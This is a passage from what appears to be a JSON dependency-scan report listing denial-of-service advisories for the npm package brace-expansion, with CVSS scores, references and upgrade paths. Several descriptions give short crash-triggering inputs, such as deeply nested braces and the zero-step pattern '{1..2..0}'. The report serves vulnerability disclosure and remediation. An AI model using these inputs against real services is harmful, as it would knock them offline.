">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub 